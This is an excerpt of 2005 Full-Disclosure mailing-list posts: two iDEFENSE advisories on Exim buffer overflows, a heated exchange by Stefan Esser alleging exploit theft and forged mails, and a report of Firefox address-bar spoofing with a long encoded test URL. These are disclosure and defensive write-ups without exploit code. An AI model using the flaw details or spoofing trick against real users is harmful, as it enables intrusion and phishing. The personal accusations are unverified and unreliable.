> This message is confidential. It may also contain information that is
> privileged or otherwise legally exempt from disclosure. If you have
> received it by mistake please let us know by e-mail immediately and
> delete it from your system; should also not copy the message nor
> disclose its contents to anyone. Many thanks.
> 


-- 
Sergio Alvarez
Security, Research & Development
IT Security Consultant
email: shadown at gmail.com

This message is confidential. It may also contain information that is
privileged or otherwise legally exempt from disclosure. If you have
received it by mistake please let us know by e-mail immediately and
delete it from your system; should also not copy the message nor
disclose its contents to anyone. Many thanks.



From idlabs-advisories at idefense.com  Fri Jan  7 21:49:54 2005
From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com)
Date: Fri, 7 Jan 2005 16:49:54 -0500
Subject: [Full-Disclosure] iDEFENSE Security Advisory [IDEF0725] Exim
	host_aton() Buffer Overflow Vulnerability
Message-ID: <FB24803D1DF2A34FA59FC157B77C970503C8ADF0@idserv04.idef.com>

Exim host_aton() Buffer Overflow Vulnerability

iDEFENSE Security Advisory [IDEF0725]
http://www.idefense.com/application/poi/display?type=vulnerabilities
January 07, 2005

I. BACKGROUND

Exim is a message transfer agent developed for use on Unix systems. More

information is available at: 

	http://www.exim.org/

II. DESCRIPTION

Local exploitation of a buffer overflow vulnerability in Exim 4.41 may 
allow execution of arbitrary commands with elevated privileges.

The problem specifically exists in the host_aton function. The function 
fails to check the number of elements it stores in a fixed size array. 
The elements come from a user-controlled string and are passed into the 
program from a command line option.

III. ANALYSIS

Exploitation of this vulnerability will give an attacker access to the 
mailer uid. The exim mailer is setuid root, but drops privileges before 
the vulnerable code is reached. Having the mailer uid may allow access 
to sensitive information in e-mail messages or possibly further 
elevation.

IV. DETECTION

Exim versions 4.40 and 4.41 have been confirmed vulnerable. The source 
code for version 4.42 suggests that it is also vulnerable. It is 
suspected that previous versions are vulnerable.

V. WORKAROUND

iDEFENSE is currently unaware of any effective workarounds for this 
vulnerability.

VI. VENDOR RESPONSE

A patch for Exim release 4.43 which addresses this vulnerability is
available at:

   http://www.exim.org/mail-archives/exim-announce/2005/msg00000.html

The patch will be incorporated into a future Exim release (4.50).

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
names CAN-2005-0021 to these issues. This is a candidate for inclusion
in the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

12/23/2004  Initial vendor notification
12/29/2004  Initial vendor response
01/07/2005  Public disclosure

IX. CREDIT

The discoverer of this vulnerability wishes to remain anonymous.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

X. LEGAL NOTICES

Copyright (c) 2004 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice at idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.




From idlabs-advisories at idefense.com  Fri Jan  7 21:49:58 2005
From: idlabs-advisories at idefense.com (idlabs-advisories at idefense.com)
Date: Fri, 7 Jan 2005 16:49:58 -0500
Subject: [Full-Disclosure] iDEFENSE Security Advisory [IDEF0731] Exim
	auth_spa_server() Buffer Overflow Vulnerability 
Message-ID: <FB24803D1DF2A34FA59FC157B77C970503C8ADF1@idserv04.idef.com>

Exim auth_spa_server() Buffer Overflow Vulnerability 

iDEFENSE Security Advisory [IDEF0731] 
www.idefense.com/application/poi/display?id=178&type=vulnerabilities
January 07, 2004

I. BACKGROUND

Exim is a message transfer agent developed for use on Unix systems. More

information is available at: 

	http://www.exim.org/

II. DESCRIPTION

Remote exploitation of a buffer overflow vulnerability in Exim 4.41 may
allow execution of arbitrary commands with elevated privileges.

Exim is a message transfer agent developed for use on Unix systems. The 
problem specifically exists in the auth_spa_server function. The 
function fails to check the length of input to spa_base64_to_bits(), 
which decodes a Base64-encoded string into a buffer of a fixed length. 
This string is user-controlled and passed to the program from a remote 
connection.

III. ANALYSIS

Exploitation of this vulnerability will give an attacker remote access 
to the mailer uid. The exim mailer is setuid root, but drops privileges 
before the vulnerable code is reached. A remote attacker may be able to 
use other vulnerabilities to further elevate their privileges.

This vulnerability is only exploitable when the spa authentication 
method has been configured by setting AUTH_SPA=yes in Local/Makefile 
when building it.

IV. DETECTION

Exim versions 4.40 and 4.41 have been confirmed vulnerable. The source 
code for version 4.42 suggests that it is vulnerable. It is suspected 
that previous versions are also vulnerable.

To determine if the Exim version being used is vulnerable, connect to
port 25 of the machine with Exim installed and type:

   EHLO localhost

If AUTH NTLM appears in the output the application may be vulnerable.

V. WORKAROUND

iDEFENSE is currently unaware of any effective workarounds for this 
vulnerability.

VI. VENDOR RESPONSE

A patch for Exim release 4.43 which addresses this vulnerability is
available at:

   http://www.exim.org/mail-archives/exim-announce/2005/msg00000.html

The patch will be incorporated into a future Exim release (4.50).

VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
names CAN-2005-0022 to these issues. This is a candidate for inclusion
in the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

VIII. DISCLOSURE TIMELINE

12/23/2004  Initial vendor notification
12/29/2004  Initial vendor response
01/07/2004  Coordinated public disclosure

IX. CREDIT

The discoverer of this vulnerability wishes to remain anonymous.

Get paid for vulnerability research
http://www.idefense.com/poi/teams/vcp.jsp

X. LEGAL NOTICES

Copyright (c) 2004 iDEFENSE, Inc.

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDEFENSE. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email customerservice at idefense.com for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.




From s.esser at e-matters.de  Sat Jan  8 00:49:42 2005
From: s.esser at e-matters.de (Stefan Esser)
Date: Sat, 8 Jan 2005 01:49:42 +0100
Subject: [Full-Disclosure] Kindergarten on vacation (was: Obvious fake
	mail...)
Message-ID: <20050108004942.GA8303@e-matters.de>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi again,

it is quite funny how Immunitysec is supporting the kids that
first stole Paul's linux local root exploit and then sent it
out to the whole world in my name. Otherwise it is hard to
explain why dailydave again and again lets those obviously
faked emails through moderation. My original reply email
is reachable through the web interface only by number
juggling, because of pipermail bugs or a manipulation of the
generated archive. Whatever it was "replaced" by another
fake email with a faked e-matters gpg signature.

And the same bunch of kids accuse me again and again to have
stolen "their" bugs, they even sent me dead bugs (aka. insects)
within an anonymous letter from somewhere in the neatherlands
after I released the CVS advisories. (Well this is of course
only a guess and I cannot be sure that these are the same idiots)

Just spreading a rumour again and again f.e. that I am married
to divenint or that he gave me that CVS remote does not make it
more true.
You demonstrated today that you are able to read vendor-sec
emails... So you should actually know that I told vendor-sec,
that I reaudited CVS, because I had heard from a friend that
there is atleast one more CVS remote. Why in hell should I tell
that to them if I had stolen the exploit and wanted to hide that
fact?

It is your bad luck, that I found a bug that was obviously
circulating in the undergrounds for years. And now I have to
face the anger of a little kid that lost one of his toys.
And I will most probably face it again and again until you
die by a heart attack.

Yours,
Stefan Esser

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQFB3zGLSuF5XhWr2ngRAsGzAJ90LsGPkTWvDyItnX+F1IxbLgcSBQCgkYYw
PSIDxbn4c1G9XSBmqb4oq+4=
=W84s
-----END PGP SIGNATURE-----



From s.esser at e-matters.de  Sat Jan  8 01:02:28 2005
From: s.esser at e-matters.de (Stefan Esser)
Date: Sat, 8 Jan 2005 02:02:28 +0100
Subject: [Full-Disclosure] Outsch... Sorry...
Message-ID: <20050108010228.GC8303@e-matters.de>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Outsch! My mail was so fast through that I do not believe anymore
that it is moderated at the moment :)

So sorry to Dave. Stays the question why pipermail is too dumb
to generate correct archives ;)

Stefan

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQFB3zQrSuF5XhWr2ngRAjZNAJ0bV11jHiVNAxwLeuPH4O9Oc/8KiwCfctE4
m2AcTu4lDIe0Tu9gRJXPgpc=
=MCWR
-----END PGP SIGNATURE-----
 


From khermansen at ht-technology.com  Sat Jan  8 00:31:45 2005
From: khermansen at ht-technology.com (Kristian Hermansen)
Date: Fri, 07 Jan 2005 19:31:45 -0500
Subject: [Full-Disclosure] Firefox long URL field obfuscation vulnerability?
Message-ID: <1105144305.7981.18.camel@localhost.localdomain>

This is a quick heads up for people who want to investigate it further.
At least on my Ubuntu system (warty), a URL with a significant amount of
data seems to "obfuscate" the URL field and not allow the end user to
properly identify the site to which they are connecting.  This could be
another potential way for spamming thieves to fool people.  Even worse,
I played around with it a bit and it seems that the text is wrapping
around back over the start of the URL box -- and if you are tricky
enough, you can even do some interesting overlays in the URL field to
make the end user think he has reached a valid site when he is actually
somewhere else.

The potential for abuse here seems obvious, but I am not sure if this is
common to the latest version and other factors.  I am asking for any
input from people that can reproduce this issue or have found other ways
to do devious things with it.  Try this URL in your Firefox browser and
see if you get the overlay problem that I am talking about:

http://www.google.com/search?q=%D0%94%D0%BE%D1%80%D0%BE%D0%B3%D0%B8%D0%
B5+%D0%B4%D1%80%D1%83%D0%B7%D1%8C%D1%8F%21%0A%0A%D0%9C%D1%8B+%D0%BF%D0%
BE%D0%B7%D0%B4%D1%80%D0%B0%D0%B2%D0%BB%D1%8F%D0%B5%D0%BC+%D0%B2%D0%B0%
D1%81+%D1%81+%D0%BD%D0%B0%D1%81%D1%82%D1%83%D0%BF%D0%BB%D0%B5%D0%BD%D0%
B8%D0%B5%D0%BC+%D1%81%D0%B0%D0%BC%D0%BE%D0%B3%D0%BE+%D1%83%D0%B4%D0%B8%
D0%B2%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D0%B3%D0%BE+%D0%B8+%D0%
B2%D0%BE%D0%BB%D1%88%D0%B5%D0%B1%D0%BD%D0%BE%D0%B3%D0%BE+%D0%BF%D1%80%
D0%B0%D0%B7%D0%B4%D0%BD%D0%B8%D0%BA%D0%B0+-+%D0%9D%D0%BE%D0%B2%D0%BE%D0%
B3%D0%BE+%D0%B3%D0%BE%D0%B4%D0%B0+%D0%B8+%D0%B4%D0%B0%D1%80%D0%B8%D0%BC
+%D0%BD%D0%B0%D1%88%D1%83+%D0%BD%D0%BE%D0%B2%D0%BE%D0%B3%D0%BE%D0%B4%D0%
BD%D1%8E%D1%8E+%D0%BE%D1%82%D0%BA%D1%80%D1%8B%D1%82%D0%BA%D1%83.%0A%0A%
D0%92+%D1%8D%D1%82%D0%BE%D0%BC+%D0%B3%D0%BE%D0%B4%D1%83+%D0%BF%D1%80%D0%
BE%D0%B8%D0%B7%D0%BE%D1%88%D0%BB%D0%BE+%D0%BE%D1%87%D0%B5%D0%BD%D1%8C+%
D0%B2%D0%B0%D0%B6%D0%BD%D0%BE%D0%B5+%D0%B4%D0%BB%D1%8F+%D0%BD%D0%B0%D1%
81+%D1%81%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D0%B5+-+%D1%87%D0%B8%D1%81%D0%BB
%D0%BE+%D0%B7%D0%B0%D1%80%D0%B5%D0%B3%D0%B8%D1%81%D1%82%D1%80%D0%B8%D1%
80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D1%8B%D1%85+%D0%BD%D0%B0+Mail.Ru+%D0%BF
%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D0%B5%D0%B9
+%D0%BF%D1%80%D0%B5%D0%B2%D1%8B%D1%81%D0%B8%D0%BB%D0%BE+20+%D0%BC%D0%B8%
D0%BB%D0%BB%D0%B8%D0%BE%D0%BD%D0%BE%D0%B2.+%D0%9C%D1%8B+%D1%81%D1%87%D0%
B8%D1%82%D0%B0%D0%B5%D0%BC+%D1%8D%D1%82%D0%BE+%D1%81%D0%B0%D0%BC%D0%BE%
D0%B9+%D0%B2%D0%B0%D0%B6%D0%BD%D0%BE%D0%B9+%D0%BE%D1%86%D0%B5%D0%BD%D0%
BA%D0%BE%D0%B9+%D0%BD%D0%B0%D1%88%D0%B5%D0%B9+%D1%80%D0%B0%D0%B1%D0%BE%
D1%82%D1%8B+%D0%B8+%D0%B1%D0%BB%D0%B0%D0%B3%D0%BE%D0%B4%D0%B0%D1%80%D0%
BD%D1%8B+%D0%B2%D0%B0%D0%BC+%D0%B7%D0%B0+%D1%82%D0%BE%2C+%D1%87%D1%82%
D0%BE+%D0%B2%D0%BE%D1%82+%D1%83%D0%B6%D0%B5+6+%D0%BB%D0%B5%D1%82+Mail.Ru
+%D0%BE%D1%81%D1%82%D0%B0%D0%B5%D1%82%D1%81%D1%8F+%D1%81%D0%B0%D0%BC%D0%
BE%D0%B9+%D0%BF%D0%BE%D0%BF%D1%83%D0%BB%D1%8F%D1%80%D0%BD%D0%BE%D0%B9+%
D0%BF%D0%BE%D1%87%D1%82%D0%BE%D0%B9+%D1%80%D0%BE%D1%81%D1%81%D0%B8%D0%
B9%D1%81%D0%BA%D0%BE%D0%B3%D0%BE+%D0%98%D0%BD%D1%82%D0%B5%D1%80%D0%BD%
D0%B5%D1%82%D0%B0.%0A%0A%D0%9C%D1%8B+%D1%81%D1%82%D0%B0%D1%80%D0%B0%D0%
BB%D0%B8%D1%81%D1%8C+%D0%B2+2004+%D0%B3%D0%BE%D0%B4%D1%83+%D1%81%D0%B4%
D0%B5%D0%BB%D0%B0%D1%82%D1%8C+%D0%B2%D1%81%D0%B5%2C+%D1%87%D1%82%D0%BE%
D0%B1%D1%8B+%D0%BE%D0%BF%D1%80%D0%B0%D0%B2%D0%B4%D0%B0%D1%82%D1%8C+%D0%
B2%D0%B0%D1%88%D0%B5+%D0%B4%D0%BE%D0%B2%D0%B5%D1%80%D0%B8%D0%B5.+%D0%9F%
D0%BE%D1%87%D1%82%D0%BE%D0%B2%D1%8B%D0%B9+%D1%8F%D1%89%D0%B8%D0%BA+%D0%
B2+%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC%D0%B5+%D1%82%D0%B5%D0%BF%D0%B5%
D1%80%D1%8C+%D0%BD%D0%B5%D0%BE%D0%B3%D1%80%D0%B0%D0%BD%D0%B8%D1%87%D0%
B5%D0%BD+%D0%BF%D0%BE+%D0%BE%D0%B1%D1%8A%D0%B5%D0%BC%D1%83.+%D0%97%D0%BD
%D0%B0%D1%87%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE+%D1%83%D0%BB%D1%
83%D1%87%D1%88%D0%B5%D0%BD%D0%BD%D1%8B%D0%B9+%D0%9F%D0%BE%D0%B8%D1%81%
D0%BA%40Mail.Ru+%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%B8%D0%B2%D0%BD%
D0%BE+%D0%BD%D0%B0%D0%B9%D0%B4%D0%B5%D1%82+%D0%BD%D0%B5%D0%BE%D0%B1%D1%
85%D0%BE%D0%B4%D0%B8%D0%BC%D1%8B%D0%B9+%D0%B2%D0%B0%D0%BC+%D0%B4%D0%BE%
D0%BA%D1%83%D0%BC%D0%B5%D0%BD%D1%82+%D0%B2+%D0%BB%D1%8E%D0%B1%D0%BE%D0%
B9+%D1%82%D0%BE%D1%87%D0%BA%D0%B5+%D0%BC%D0%B8%D1%80%D0%B0.+%D0%90+%D0%
BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0+Mail.Ru+%D0%90%D0%B3%
D0%B5%D0%BD%D1%82%2C+%D1%81%D1%82%D0%B0%D0%B2%D1%88%D0%B0%D1%8F+%D0%BF%
D0%B5%D1%80%D0%B2%D1%8B%D0%BC+%D0%BF%D0%BE%D0%BB%D0%BD%D0%BE%D1%86%D0%
B5%D0%BD%D0%BD%D1%8B%D0%BC+%D1%80%D0%BE%D1%81%D1%81%D0%B8%D0%B9%D1%81%
D0%BA%D0%B8%D0%BC+%D0%B8%D0%BD%D1%82%D0%B5%D1%80%D0%BD%D0%B5%D1%82-%D0%
BF%D0%B5%D0%B9%D0%B4%D0%B6%D0%B5%D1%80%D0%BE%D0%BC%2C+%D0%BF%D0%BE%D0%
B7%D0%B2%D0%BE%D0%BB%D0%B8%D1%82+%D0%B1%D0%B5%D0%B7+%D0%BF%D1%80%D0%BE%
D0%B1%D0%BB%D0%B5%D0%BC+%D0%B7%D0%B0%D0%B2%D0%B5%D1%81%D1%82%D0%B8+%D0%
BD%D0%BE%D0%B2%D1%8B%D1%85+%D0%B4%D1%80%D1%83%D0%B7%D0%B5%D0%B9+%D0%B8+%
D0%B4%D0%B0%D0%B6%D0%B5+%D0%BF%D0%BE%D0%BE%D0%B1%D1%89%D0%B0%D1%82%D1%8C
%D1%81%D1%8F+%D1%81+%D0%BD%D0%B8%D0%BC%D0%B8+%D0%B3%D0%BE%D0%BB%D0%BE%
D1%81%D0%BE%D0%BC+%D1%87%D0%B5%D1%80%D0%B5%D0%B7+%D0%98%D0%BD%D1%82%D0%
B5%D1%80%D0%BD%D0%B5%D1%82%2C+%D0%B3%D0%B4%D0%B5+%D0%B1%D1%8B+%D0%BE%D0%
BD%D0%B8+%D0%BD%D0%B8+%D0%BD%D0%B0%D1%85%D0%BE%D0%B4%D0%B8%D0%BB%D0%B8%
D1%81%D1%8C.%0A%0A%D0%9D%D0%B0%D0%B4%D0%B5%D0%B5%D0%BC%D1%81%D1%8F%2C+%
D1%87%D1%82%D0%BE+%D0%B2+%D0%B1%D1%83%D0%B4%D1%83%D1%89%D0%B5%D0%BC+%D0%
B3%D0%BE%D0%B4%D1%83+%D0%B2%D1%8B+%D0%BE%D1%81%D1%82%D0%B0%D0%BD%D0%B5%
D1%82%D0%B5%D1%81%D1%8C+%D1%81+%D0%BD%D0%B0%D0%BC%D0%B8.+%D0%90+%D1%87%
D1%82%D0%BE%D0%B1%D1%8B+%D0%B2%D0%B0%D1%88%D0%B8+%D0%B6%D0%B5%D0%BB%D0%
B0%D0%BD%D0%B8%D1%8F+%D0%BE%D0%B1%D1%8F%D0%B7%D0%B0%D1%82%D0%B5%D0%BB%
D1%8C%D0%BD%D0%BE+%D1%81%D0%B1%D1%8B%D0%BB%D0%B8%D1%81%D1%8C%2C+%D0%BE%
D1%82%D0%BF%D1%80%D0%B0%D0%B2%D1%8C%D1%82%D0%B5+%D0%B8%D1%85+%D0%94%D0%
B5%D0%B4%D1%83+%D0%9C%D0%BE%D1%80%D0%BE%D0%B7%D1%83%21+%D0%9F%D1%80%D1%
8F%D0%BC%D0%BE%D0%B5+%D0%BF%D0%BE%D1%87%D1%82%D0%BE%D0%B2%D0%BE%D0%B5+%
D1%81%D0%BE%D0%BE%D0%B1%D1%89%D0%B5%D0%BD%D0%B8%D0%B5+%D1%81+%D0%BD%D0%
B8%D0%BC+%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%
D0%BE+%D0%BD%D0%B0+%D0%BD%D0%B0%D1%88%D0%B5%D0%BC+%D0%BD%D0%BE%D0%B2%D0%
BE%D0%B3%D0%BE%D0%B4%D0%BD%D0%B5%D0%BC+%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%
D1%82%D0%B5.%0A%0A%D0%A1%D1%87%D0%B0%D1%81%D1%82%D0%BB%D0%B8%D0%B2%D0%BE
%D0%B3%D0%BE+%D0%B2%D0%B0%D0%BC+%D0%9D%D0%BE%D0%B2%D0%BE%D0%B3%D0%BE+%
D0%B3%D0%BE%D0%B4%D0%B0%21+%0A%0A%25D0%2594%25D0%25BE%25D1%2580%25D0%
25BE%25D0%25B3%25D0%25B8%25D0%25B5%2B%25D0%25B4%25D1%2580%25D1%2583%
25D0%25B7%25D1%258C%25D1%258F%2521%250A%250A%25D0%259C%25D1%258B%2B%
25D0%25BF%25D0%25BE%25D0%25B7%25D0%25B4%25D1%2580%25D0%25B0%25D0%25B2%
25D0%25BB%25D1%258F%25D0%25B5%25D0%25BC%2B%25D0%25B2%25D0%25B0%25D1%
2581%2B%25D1%2581%2B%25D0%25BD%25D0%25B0%25D1%2581%25D1%2582%25D1%2583%
25D0%25BF%25D0%25BB%25D0%25B5%25D0%25BD%25D0%25B8%25D0%25B5%25D0%25BC%2B
%25D1%2581%25D0%25B0%25D0%25BC%25D0%25BE%25D0%25B3%25D0%25BE%2B%25D1%
2583%25D0%25B4%25D0%25B8%25D0%25B2%25D0%25B8%25D1%2582%25D0%25B5%25D0%
25BB%25D1%258C%25D0%25BD%25D0%25BE%25D0%25B3%25D0%25BE%2B%25D0%25B8%2B%
25D0%25B2%25D0%25BE%25D0%25BB%25D1%2588%25D0%25B5%25D0%25B1%25D0%25BD%
25D0%25BE%25D0%25B3%25D0%25BE%2B%25D0%25BF%25D1%2580%25D0%25B0%25D0%
25B7%25D0%25B4%25D0%25BD%25D0%25B8%25D0%25BA%25D0%25B0%2B-%2B%25D0%259D%
25D0%25BE%25D0%25B2%25D0%25BE%25D0%25B3%25D0%25BE%2B%25D0%25B3%25D0%25BE
%25D0%25B4%25D0%25B0%2B%25D0%25B8%2B%25D0%25B4%25D0%25B0%25D1%2580%25D0%
25B8%25D0%25BC%2B%25D0%25BD%25D0%25B0%25D1%2588%25D1%2583%2B%25D0%25BD%
25D0%25BE%25D0%25B2%25D0%25BE%25D0%25B3%25D0%25BE%25D0%25B4%25D0%25BD%
25D1%258E%25D1%258E%2B%25D0%25BE%25D1%2582%25D0%25BA%25D1%2580%25D1%258B
%25D1%2582%25D0%25BA%25D1%2583.%250A%250A%25D0%2592%2B%25D1%258D%25D1%
2582%25D0%25BE%25D0%25BC%2B%25D0%25B3%25D0%25BE%25D0%25B4%25D1%2583%2B%
25D0%25BF%25D1%2580%25D0%25BE%25D0%25B8%25D0%25B7%25D0%25BE%25D1%2588%
25D0%25BB%25D0%25BE%2B%25D0%25BE%25D1%2587%25D0%25B5%25D0%25BD%25D1%258C
%2B%25D0%25B2%25D0%25B0%25D0%25B6%25D0%25BD%25D0%25BE%25D0%25B5%2B%25D0%
25B4%25D0%25BB%25D1%258F%2B%25D0%25BD%25D0%25B0%25D1%2581%2B%25D1%2581%
25D0%25BE%25D0%25B1%25D1%258B%25D1%2582%25D0%25B8%25D0%25B5%2B-%2B%25D1%
2587%25D0%25B8%25D1%2581%25D0%25BB%25D0%25BE%2B%25D0%25B7%25D0%25B0%
25D1%2580%25D0%25B5%25D0%25B3%25D0%25B8%25D1%2581%25D1%2582%25D1%2580%
25D0%25B8%25D1%2580%25D0%25BE%25D0%25B2%25D0%25B0%25D0%25BD%25D0%25BD%
25D1%258B%25D1%2585%2B%25D0%25BD%25D0%25B0%2BMail.Ru%2B%25D0%25BF%25D0%
25BE%25D0%25BB%25D1%258C%25D0%25B7%25D0%25BE%25D0%25B2%25D0%25B0%25D1%
2582%25D0%25B5%25D0%25BB%25D0%25B5%25D0%25B9%2B%25D0%25BF%25D1%2580%
25D0%25B5%25D0%25B2%25D1%258B%25D1%2581%25D0%25B8%25D0%25BB%25D0%25BE%
2B20%2B%25D0%25BC%25D0%25B8%25D0%25BB%25D0%25BB%25D0%25B8%25D0%25BE%
25D0%25BD%25D0%25BE%25D0%25B2.%2B%25D0%259C%25D1%258B%2B%25D1%2581%25D1%
2587%25D0%25B8%25D1%2582%25D0%25B0%25D0%25B5%25D0%25BC%2B%25D1%258D%
25D1%2582%25D0%25BE%2B%25D1%2581%25D0%25B0%25D0%25BC%25D0%25BE%25D0%
25B9%2B%25D0%25B2%25D0%25B0%25D0%25B6%25D0%25BD%25D0%25BE%25D0%25B9%2B%
25D0%25BE%25D1%2586%25D0%25B5%25D0%25BD%25D0%25BA%25D0%25BE%25D0%25B9%2B
%25D0%25BD%25D0%25B0%25D1%2588%25D0%25B5%25D0%25B9%2B%25D1%2580%25D0%
25B0%25D0%25B1%25D0%25BE%25D1%2582%25D1%258B%2B%25D0%25B8%2B%25D0%25B1%
25D0%25BB%25D0%25B0%25D0%25B3%25D0%25BE%25D0%25B4%25D0%25B0%25D1%2580%
25D0%25BD%25D1%258B%2B%25D0%25B2%25D0%25B0%25D0%25BC%2B%25D0%25B7%25D0%
25B0%2B%25D1%2582%25D0%25BE%252C%2B%25D1%2587%25D1%2582%25D0%25BE%2B%
25D0%25B2%25D0%25BE%25D1%2582%2B%25D1%2583%25D0%25B6%25D0%25B5%2B6%2B%
25D0%25BB%25D0%25B5%25D1%2582%2BMail.Ru%2B%25D0%25BE%25D1%2581%25D1%
2582%25D0%25B0%25D0%25B5%25D1%2582%25D1%2581%25D1%258F%2B%25D1%2581%
25D0%25B0%25D0%25BC%25D0%25BE%25D0%25B9%2B%25D0%25BF%25D0%25BE%25D0%25BF
%25D1%2583%25D0%25BB%25D1%258F%25D1%2580%25D0%25BD%25D0%25BE%25D0%25B9%
2B%25D0%25BF%25D0%25BE%25D1%2587%25D1%2582%25D0%25BE%25D0%25B9%2B%25D1%
2580%25D0%25BE%25D1%2581%25D1%2581%25D0%25B8%25D0%25B9%25D1%2581%25D0%
25BA%25D0%25BE%25D0%25B3%25D0%25BE%2B%25D0%2598%25D0%25BD%25D1%2582%
25D0%25B5%25D1%2580%25D0%25BD%25D0%25B5%25D1%2582%25D0%25B0.%250A%250A%
25D0%259C%25D1%258B%2B%25D1%2581%25D1%2582%25D0%25B0%25D1%2580%25D0%
25B0%25D0%25BB%25D0%25B8%25D1%2581%25D1%258C%2B%25D0%25B2%2B2004%2B%
25D0%25B3%25D0%25BE%25D0%25B4%25D1%2583%2B%25D1%2581%25D0%25B4%25D0%
25B5%25D0%25BB%25D0%25B0%25D1%2582%25D1%258C%2B%25D0%25B2%25D1%2581%
25D0%25B5%252C%2B%25D1%2587%25D1%2582%25D0%25BE%25D0%25B1%25D1%258B%2B%
25D0%25BE%25D0%25BF%25D1%2580%25D0%25B0%25D0%25B2%25D0%25B4%25D0%25B0%
25D1%2582%25D1%258C%2B%25D0%25B2%25D0%25B0%25D1%2588%25D0%25B5%2B%25D0%
25B4%25D0%25BE%25D0%25B2%25D0%25B5%25D1%2580%25D0%25B8%25D0%25B5.%2B%
25D0%259F%25D0%25BE%25D1%2587%25D1%2582%25D0%25BE%25D0%25B2%25D1%258B%
25D0%25B9%2B%25D1%258F%25D1%2589%25D0%25B8%25D0%25BA%2B%25D0%25B2%2B%
25D1%2581%25D0%25B8%25D1%2581%25D1%2582%25D0%25B5%25D0%25BC%25D0%25B5%2B
%25D1%2582%25D0%25B5%25D0%25BF%25D0%25B5%25D1%2580%25D1%258C%2B%25D0%
25BD%25D0%25B5%25D0%25BE%25D0%25B3%25D1%2580%25D0%25B0%25D0%25BD%25D0%
25B8%25D1%2587%25D0%25B5%25D0%25BD%2B%25D0%25BF%25D0%25BE%2B%25D0%25BE%
25D0%25B1%25D1%258A%25D0%25B5%25D0%25BC%25D1%2583.%2B%25D0%2597%25D0%
25BD%25D0%25B0%25D1%2587%25D0%25B8%25D1%2582%25D0%25B5%25D0%25BB%25D1%
258C%25D0%25BD%25D0%25BE%2B%25D1%2583%25D0%25BB%25D1%2583%25D1%2587%
25D1%2588%25D0%25B5%25D0%25BD%25D0%25BD%25D1%258B%25D0%25B9%2B%25D0%259F
%25D0%25BE%25D0%25B8%25D1%2581%25D0%25BA%2540Mail.Ru%2B%25D0%25BE%25D0%
25BF%25D0%25B5%25D1%2580%25D0%25B0%25D1%2582%25D0%25B8%25D0%25B2%25D0%
25BD%25D0%25BE%2B%25D0%25BD%25D0%25B0%25D0%25B9%25D0%25B4%25D0%25B5%
25D1%2582%2B%25D0%25BD%25D0%25B5%25D0%25BE%25D0%25B1%25D1%2585%25D0%25BE
%25D0%25B4%25D0%25B8%25D0%25BC%25D1%258B%25D0%25B9%2B%25D0%25B2%25D0%
25B0%25D0%25BC%2B%25D0%25B4%25D0%25BE%25D0%25BA%25D1%2583%25D0%25BC%
25D0%25B5%25D0%25BD%25D1%2582%2B%25D0%25B2%2B%25D0%25BB%25D1%258E%25D0%
25B1%25D0%25BE%25D0%25B9%2B%25D1%2582%25D0%25BE%25D1%2587%25D0%25BA%
25D0%25B5%2B%25D0%25BC%25D0%25B8%25D1%2580%25D0%25B0.%2B%25D0%2590%2B%
25D0%25BF%25D1%2580%25D0%25BE%25D0%25B3%25D1%2580%25D0%25B0%25D0%25BC%
25D0%25BC%25D0%25B0%2BMail.Ru%2B%25D0%2590%25D0%25B3%25D0%25B5%25D0%25BD
%25D1%2582%252C%2B%25D1%2581%25D1%2582%25D0%25B0%25D0%25B2%25D1%2588%
25D0%25B0%25D1%258F%2B%25D0%25BF%25D0%25B5%25D1%2580%25D0%25B2%25D1%258B
%25D0%25BC%2B%25D0%25BF%25D0%25BE%25D0%25BB%25D0%25BD%25D0%25BE%25D1%
2586%25D0%25B5%25D0%25BD%25D0%25BD%25D1%258B%25D0%25BC%2B%25D1%2580%
25D0%25BE%25D1%2581%25D1%2581%25D0%25B8%25D0%25B9%25D1%2581%25D0%25BA%
25D0%25B8%25D0%25BC%2B%25D0%25B8%25D0%25BD%25D1%2582%25D0%25B5%25D1%
2580%25D0%25BD%25D0%25B5%25D1%2582-%25D0%25BF%25D0%25B5%25D0%25B9%25D0%
25B4%25D0%25B6%25D0%25B5%25D1%2580%25D0%25BE%25D0%25BC%252C%2B%25D0%25BF
